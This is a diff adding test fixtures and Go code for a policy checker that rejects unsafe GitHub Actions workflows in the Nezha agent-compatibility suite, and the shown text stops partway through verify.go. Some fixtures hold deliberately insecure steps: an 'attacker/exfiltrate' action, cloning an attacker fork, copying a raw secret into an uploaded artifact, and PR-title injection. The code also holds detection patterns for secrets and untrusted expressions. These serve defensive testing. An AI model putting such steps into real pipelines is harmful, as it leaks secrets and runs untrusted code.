b/integration/agentcompat/internal/workflowpolicy/testdata/missing-root-permissions.yml new file mode 100644 index 00000000..16bad179 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/missing-root-permissions.yml @@ -0,0 +1,9 @@ +on: + pull_request: +concurrency: policy +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/missing-timeout.yml b/integration/agentcompat/internal/workflowpolicy/testdata/missing-timeout.yml new file mode 100644 index 00000000..2e594055 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/missing-timeout.yml @@ -0,0 +1,10 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/mixed-artifact-paths.yml b/integration/agentcompat/internal/workflowpolicy/testdata/mixed-artifact-paths.yml new file mode 100644 index 00000000..3149035f --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/mixed-artifact-paths.yml @@ -0,0 +1,17 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - name: Redact evidence + run: go run ./integration/agentcompat/cmd/redact + - uses: actions/upload-artifact@v6 + with: + path: | + ${{ runner.temp }}/redacted-results + ${{ runner.temp }}/raw-results diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nested-shell.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nested-shell.yml new file mode 100644 index 00000000..6a568189 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nested-shell.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: bash -c 'go test ./... || true' diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/no-op-redaction.yml b/integration/agentcompat/internal/workflowpolicy/testdata/no-op-redaction.yml new file mode 100644 index 00000000..e7327a06 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/no-op-redaction.yml @@ -0,0 +1,15 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - name: Redact evidence + run: "true" + - uses: actions/upload-artifact@v6 + with: + path: ${{ runner.temp }}/redacted-results diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nonboolean-concurrency-cancel.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nonboolean-concurrency-cancel.yml new file mode 100644 index 00000000..e59ab488 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nonboolean-concurrency-cancel.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: + group: policy + cancel-in-progress: "true" +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nonliteral-action.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nonliteral-action.yml new file mode 100644 index 00000000..9242d8b5 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nonliteral-action.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: ${{ inputs.action }} diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nonliteral-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nonliteral-repository.yml new file mode 100644 index 00000000..de4ddbd3 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nonliteral-repository.yml @@ -0,0 +1,15 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/checkout@v7.0.1 + with: + repository: ${{ inputs.repository }} + ref: main + persist-credentials: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nonmapping-step.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nonmapping-step.yml new file mode 100644 index 00000000..19bc42f2 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nonmapping-step.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - malformed diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nonmapping-uses.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nonmapping-uses.yml new file mode 100644 index 00000000..873a7f7f --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nonmapping-uses.yml @@ -0,0 +1,12 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: + - actions/checkout@v7.0.1 diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nonsequence-steps.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nonsequence-steps.yml new file mode 100644 index 00000000..61edd11e --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nonsequence-steps.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/nonstring-run.yml b/integration/agentcompat/internal/workflowpolicy/testdata/nonstring-run.yml new file mode 100644 index 00000000..79ce7126 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/nonstring-run.yml @@ -0,0 +1,12 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: + command: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/numeric-timeout.yml b/integration/agentcompat/internal/workflowpolicy/testdata/numeric-timeout.yml new file mode 100644 index 00000000..83080d3b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/numeric-timeout.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10.5 + steps: + - uses: actions/checkout@v7.0.1 + with: + persist-credentials: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/or-echo-failure.yml b/integration/agentcompat/internal/workflowpolicy/testdata/or-echo-failure.yml new file mode 100644 index 00000000..33c038d2 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/or-echo-failure.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... || echo ignored diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/or-exit-zero-failure.yml b/integration/agentcompat/internal/workflowpolicy/testdata/or-exit-zero-failure.yml new file mode 100644 index 00000000..d9bed072 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/or-exit-zero-failure.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... || exit 0 diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/or-printf-failure.yml b/integration/agentcompat/internal/workflowpolicy/testdata/or-printf-failure.yml new file mode 100644 index 00000000..294b442c --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/or-printf-failure.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... || printf '%s\n' ignored diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/permissions-sequence.yml b/integration/agentcompat/internal/workflowpolicy/testdata/permissions-sequence.yml new file mode 100644 index 00000000..190b1106 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/permissions-sequence.yml @@ -0,0 +1,10 @@ +on: + pull_request: +concurrency: policy +permissions: [] +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/persist-credentials-true.yml b/integration/agentcompat/internal/workflowpolicy/testdata/persist-credentials-true.yml new file mode 100644 index 00000000..7ec52505 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/persist-credentials-true.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/checkout@v7.0.1 + with: + persist-credentials: true diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/prefixed-git-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/prefixed-git-repository.yml new file mode 100644 index 00000000..7ccead90 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/prefixed-git-repository.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: sudo git clone "$REMOTE" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/pull-request-target.yml b/integration/agentcompat/internal/workflowpolicy/testdata/pull-request-target.yml new file mode 100644 index 00000000..f9a7d9e2 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/pull-request-target.yml @@ -0,0 +1,11 @@ +on: + pull_request_target: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/quality-only.yml b/integration/agentcompat/internal/workflowpolicy/testdata/quality-only.yml new file mode 100644 index 00000000..754d6741 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/quality-only.yml @@ -0,0 +1,12 @@ +name: Quality only +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + linux-race-quality: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test -race -shuffle=on -count=1 ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/quoted-false-security-controls.yml b/integration/agentcompat/internal/workflowpolicy/testdata/quoted-false-security-controls.yml new file mode 100644 index 00000000..b8a81955 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/quoted-false-security-controls.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/checkout@v7.0.1 + with: + persist-credentials: "false" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/raw-after-redaction.yml b/integration/agentcompat/internal/workflowpolicy/testdata/raw-after-redaction.yml new file mode 100644 index 00000000..6a21836b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/raw-after-redaction.yml @@ -0,0 +1,19 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - name: Redact evidence + id: redact-evidence + if: always() + run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted" + - run: cp raw-secret "$RUNNER_TEMP/nezha-agentcompat-redacted/raw-secret" + - uses: actions/upload-artifact@v6 + if: always() + with: + path: ${{ runner.temp }}/nezha-agentcompat-redacted diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/redaction-command-append.yml b/integration/agentcompat/internal/workflowpolicy/testdata/redaction-command-append.yml new file mode 100644 index 00000000..81e0d7bf --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/redaction-command-append.yml @@ -0,0 +1,20 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - name: Redact evidence + id: redact-evidence + if: always() + run: | + go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted" + cp raw-secret "$RUNNER_TEMP/nezha-agentcompat-redacted/raw-secret" + - uses: actions/upload-artifact@v6 + if: always() + with: + path: ${{ runner.temp }}/nezha-agentcompat-redacted diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/relative-workspace-executable.yml b/integration/agentcompat/internal/workflowpolicy/testdata/relative-workspace-executable.yml new file mode 100644 index 00000000..199edeaf --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/relative-workspace-executable.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: bin/agentcompat --check diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/reusable-workflow-job.yml b/integration/agentcompat/internal/workflowpolicy/testdata/reusable-workflow-job.yml new file mode 100644 index 00000000..6fe4e16e --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/reusable-workflow-job.yml @@ -0,0 +1,8 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + uses: attacker/repo/.github/workflows/build.yml@main diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/secret-context.yml b/integration/agentcompat/internal/workflowpolicy/testdata/secret-context.yml new file mode 100644 index 00000000..ea56dafc --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/secret-context.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + env: + TOKEN: ${{ secrets.CI_TOKEN }} + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/secure-agent.yml b/integration/agentcompat/internal/workflowpolicy/testdata/secure-agent.yml new file mode 100644 index 00000000..079a4877 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/secure-agent.yml @@ -0,0 +1,21 @@ +name: Secure Agent compatibility +on: + pull_request: +concurrency: secure-agent-${{ github.ref }} +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 30 + steps: + - uses: actions/checkout@v7.0.1 + with: + persist-credentials: false + - uses: actions/checkout@v7.0.1 + with: + repository: nezhahq/nezha + ref: master + path: nezha + persist-credentials: false + - run: go test ./integration/agentcompat/... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/secure-nezha.yml b/integration/agentcompat/internal/workflowpolicy/testdata/secure-nezha.yml new file mode 100644 index 00000000..99ad07c3 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/secure-nezha.yml @@ -0,0 +1,40 @@ +name: Secure Nezha compatibility +# Comments and names are not policy input: ignore pull_request_target and ${{ secrets.FAKE }}. +on: + pull_request: + merge_group: +concurrency: + group: secure-${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true +permissions: + contents: read + id-token: none +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 30 + steps: + - name: Checkout Nezha + uses: actions/checkout@v7.0.1 + with: + persist-credentials: false + - name: Checkout Agent + uses: actions/checkout@v7.0.1 + with: + repository: nezhahq/agent + ref: v1.2.3 + path: agent + persist-credentials: false + - name: Test + run: go test ./integration/agentcompat/... + - name: Document self-hosted, Docker, cache, and service bans + run: printf '%s\n' 'policy active' + - name: Redact evidence + id: redact-evidence + if: always() + run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted" + - name: Upload redacted evidence + uses: actions/upload-artifact@v6 + if: always() + with: + path: ${{ runner.temp }}/nezha-agentcompat-redacted diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/self-hosted.yml b/integration/agentcompat/internal/workflowpolicy/testdata/self-hosted.yml new file mode 100644 index 00000000..eddab687 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/self-hosted.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: [self-hosted, linux] + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/services.yml b/integration/agentcompat/internal/workflowpolicy/testdata/services.yml new file mode 100644 index 00000000..89b2ade7 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/services.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + services: + database: + image: postgres:latest + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/set-plus-e-semicolon.yml b/integration/agentcompat/internal/workflowpolicy/testdata/set-plus-e-semicolon.yml new file mode 100644 index 00000000..c3df1fdd --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/set-plus-e-semicolon.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: set +e; go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/set-plus-o-errexit.yml b/integration/agentcompat/internal/workflowpolicy/testdata/set-plus-o-errexit.yml new file mode 100644 index 00000000..1c20337a --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/set-plus-o-errexit.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: | + set +o errexit + go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/setup-go-default-cache.yml b/integration/agentcompat/internal/workflowpolicy/testdata/setup-go-default-cache.yml new file mode 100644 index 00000000..5b2cf1c2 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/setup-go-default-cache.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/setup-go@v7 + with: + go-version: 1.26.3 diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-failure.yml b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-failure.yml new file mode 100644 index 00000000..634cda74 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-failure.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... || true diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-semicolon-colon.yml b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-semicolon-colon.yml new file mode 100644 index 00000000..5851d6c0 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-semicolon-colon.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: 'go test ./...; :' diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-semicolon-true.yml b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-semicolon-true.yml new file mode 100644 index 00000000..7185cafc --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-semicolon-true.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./...; true diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-trap-exit.yml b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-trap-exit.yml new file mode 100644 index 00000000..2d633d78 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-trap-exit.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: trap 'exit 0' ERR; go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/trailing-empty-document.yml b/integration/agentcompat/internal/workflowpolicy/testdata/trailing-empty-document.yml new file mode 100644 index 00000000..f495a03b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/trailing-empty-document.yml @@ -0,0 +1,12 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... +--- diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-action.yml b/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-action.yml new file mode 100644 index 00000000..33790dec --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-action.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: attacker/exfiltrate@v1 diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-git-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-git-repository.yml new file mode 100644 index 00000000..36b8237c --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-git-repository.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: git clone https://github.com/attacker/fork.git diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-repository.yml new file mode 100644 index 00000000..88651cf6 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-repository.yml @@ -0,0 +1,15 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/checkout@v7.0.1 + with: + repository: attacker/fork + ref: main + persist-credentials: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/unredacted-artifact-path.yml b/integration/agentcompat/internal/workflowpolicy/testdata/unredacted-artifact-path.yml new file mode 100644 index 00000000..91b12f1d --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/unredacted-artifact-path.yml @@ -0,0 +1,16 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - name: Redact evidence + id: redact-evidence + run: go run ./integration/agentcompat/cmd/redact + - uses: actions/upload-artifact@v6 + with: + path: ${{ runner.temp }}/results diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/untrusted-run-expression.yml b/integration/agentcompat/internal/workflowpolicy/testdata/untrusted-run-expression.yml new file mode 100644 index 00000000..4c7faf01 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/untrusted-run-expression.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: printf '%s' "${{ github.event.pull_request.title }}" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/workflow-run.yml b/integration/agentcompat/internal/workflowpolicy/testdata/workflow-run.yml new file mode 100644 index 00000000..86bcb4ae --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/workflow-run.yml @@ -0,0 +1,13 @@ +on: + workflow_run: + workflows: [Untrusted] + types: [completed] +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/workspace-executable.yml b/integration/agentcompat/internal/workflowpolicy/testdata/workspace-executable.yml new file mode 100644 index 00000000..4606eaea --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/workspace-executable.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: ${{ github.workspace }}/bin/agentcompat diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/write-permission.yml b/integration/agentcompat/internal/workflowpolicy/testdata/write-permission.yml new file mode 100644 index 00000000..a0c8b1e8 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/write-permission.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: write +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/yaml-alias.yml b/integration/agentcompat/internal/workflowpolicy/testdata/yaml-alias.yml new file mode 100644 index 00000000..09c6117d --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/yaml-alias.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + env: &shared + MODE: test + steps: + - env: *shared + run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/types.go b/integration/agentcompat/internal/workflowpolicy/types.go new file mode 100644 index 00000000..f9564971 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/types.go @@ -0,0 +1,113 @@ +package workflowpolicy + +import ( + "fmt" + "strings" + + "gopkg.in/yaml.v3" +) + +type Repository string + +const ( + RepositoryAgent Repository = "nezhahq/agent" + RepositoryNezha Repository = "nezhahq/nezha" +) + +type Rule string + +const ( + RulePrivilegedTrigger Rule = "privileged-trigger" + RuleSecretContext Rule = "secret-context" + RuleWritePermission Rule = "write-permission" + RuleSelfHostedRunner Rule = "self-hosted-runner" + RuleContainerizedExecution Rule = "containerized-execution" + RuleRepositoryNotAllowed Rule = "repository-not-allowed" + RuleRepositoryNotLiteral Rule = "repository-not-literal" + RulePersistCredentials Rule = "persist-credentials" // #nosec G101 -- GitHub Actions configuration key, not a credential. + RuleReusableExecutable Rule = "reusable-executable" + RuleContinueOnError Rule = "continue-on-error" + RuleSwallowedFailure Rule = "swallowed-failure" + RuleMissingJobTimeout Rule = "missing-job-timeout" + RuleMissingConcurrency Rule = "missing-concurrency" + RuleArtifactRedaction Rule = "artifact-redaction" + RuleUntrustedExpression Rule = "untrusted-expression" + RuleWorkflowStructure Rule = "workflow-structure" +) + +type Violation struct { + Rule Rule + Path string + Line int + Column int + Detail string +} + +type violationLocation struct { + path string + node *yaml.Node +} + +func at(path string, node *yaml.Node) violationLocation { + return violationLocation{path: path, node: node} +} + +func (v Violation) String() string { + location := v.Path + if v.Line > 0 { + location = fmt.Sprintf("%s:%d:%d", v.Path, v.Line, v.Column) + } + return fmt.Sprintf("%s at %s: %s", v.Rule, location, v.Detail) +} + +type PolicyError struct { + violations []Violation +} + +func (e *PolicyError) Error() string { + lines := make([]string, 0, len(e.violations)+1) + lines = append(lines, "workflow policy rejected") + for _, violation := range e.violations { + lines = append(lines, "- "+violation.String()) + } + return strings.Join(lines, "\n") +} + +func (e *PolicyError) Has(rule Rule) bool { + for _, violation := range e.violations { + if violation.Rule == rule { + return true + } + } + return false +} + +func (e *PolicyError) Violations() []Violation { + return append([]Violation(nil), e.violations...) +} + +type ParseError struct { + Source string + Cause error +} + +type ReadError struct { + Path string + Cause error +} + +func (e *ReadError) Error() string { + return fmt.Sprintf("read workflow %q: %v", e.Path, e.Cause) +} + +func (e *ReadError) Unwrap() error { + return e.Cause +} + +func (e *ParseError) Error() string { + return fmt.Sprintf("parse workflow %q: %v", e.Source, e.Cause) +} + +func (e *ParseError) Unwrap() error { + return e.Cause +} diff --git a/integration/agentcompat/internal/workflowpolicy/verify.go b/integration/agentcompat/internal/workflowpolicy/verify.go new file mode 100644 index 00000000..85254cd6 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/verify.go @@ -0,0 +1,203 @@ +package workflowpolicy + +import ( + "fmt" + "os" + "path/filepath" + "regexp" + "strings" + + "gopkg.in/yaml.v3" +) + +var ( + secretContextPattern = regexp.MustCompile(`(?i)\bsecrets\b`) + tokenSourcePattern = regexp.MustCompile(`(?i)\bgithub\s*\.\s*token\b|\bGITHUB_TOKEN\b`) + untrustedExpressionPattern = regexp.MustCompile(`\$\{\{[^}]*(?:github\s*\.\s*event\s*\.|github\s*\.\s*head_ref|github\s*\[)[^}]*\}\}`) +) + +type checker struct { + repository Repository + violations []Violation +} + +func Verify(data []byte, repository Repository) error { + return verify("memory", data, repository) +} + +func VerifyFile(path string, repository Repository) error { + root, err := os.OpenRoot(filepath.Dir(path)) + if err != nil { + return &ReadError{Path: path, Cause: err} + } + defer root.Close() + data, err := root.ReadFile(filepath.Base(path)) + if err != nil { + return &ReadError{Path: path, Cause: err} + } + return verify(path, data, repository) +} + +func verify(source string, data []byte, repository Repository) error { + root, err := parseWorkflow(source, data) + if err != nil { + return err + } + policyChecker := checker{repository: repository} + policyChecker.checkWorkflow(root) + if len(policyChecker.violations) > 0 { + return &PolicyError{violations: policyChecker.violations} + } + return nil +} + +func (c *checker) checkWorkflow(root *yaml.Node) { + if c.repository != RepositoryAgent && c.repository != RepositoryNezha { + c.reject(RuleRepositoryNotAllowed, at("$", root), fmt.Sprintf("current repository %q is not supported", c.repository)) + } + c.checkTriggers(root) + c.checkSecretContexts(root) + c.checkUntrustedExpressions(root) + c.checkForbiddenEnvironment(root) + c.checkPermissions(root, "$.permissions", true) + concurrency, exists := 